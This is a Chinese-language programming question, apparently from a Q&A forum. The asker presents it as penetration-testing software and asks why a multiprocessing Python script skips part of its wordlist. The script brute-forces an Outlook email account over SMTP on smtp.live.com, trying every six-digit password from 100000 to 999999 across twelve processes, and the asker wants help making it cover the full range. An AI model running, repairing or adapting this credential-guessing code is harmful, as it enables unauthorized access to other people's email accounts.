我正在尝试使用python创建渗透测试软件,但是当我使用多重处理时,它会跳过部分词表。我正在用一个六位数的密码来模拟单词表。
如果我只写print(value)就会成功,但是使用下面的所有邮件服务器登录名,它将跳过部分值。
import smtplib
import multiprocessing
mailserver = smtplib.SMTP('smtp.live.com',587)
mailserver.ehlo()
mailserver.starttls()
def testvalue(value):
print(value)
try:
mailserver.login('email@outlook.com', str(value))
print(value)
raise ValueError(value)
except smtplib.SMTPAuthenticationError:
nothing=True
pooll=multiprocessing.Pool(12)
pooll.map(testvalue,range(100000,999999))
pooll.close()
mailserver.quit()
结果应该是从100000到999999的数字的某种连续列表,以及带有实际密码的ValueError断点。我看到跳数较大的数字,例如200000、210500,并且列表不像预期的那样大。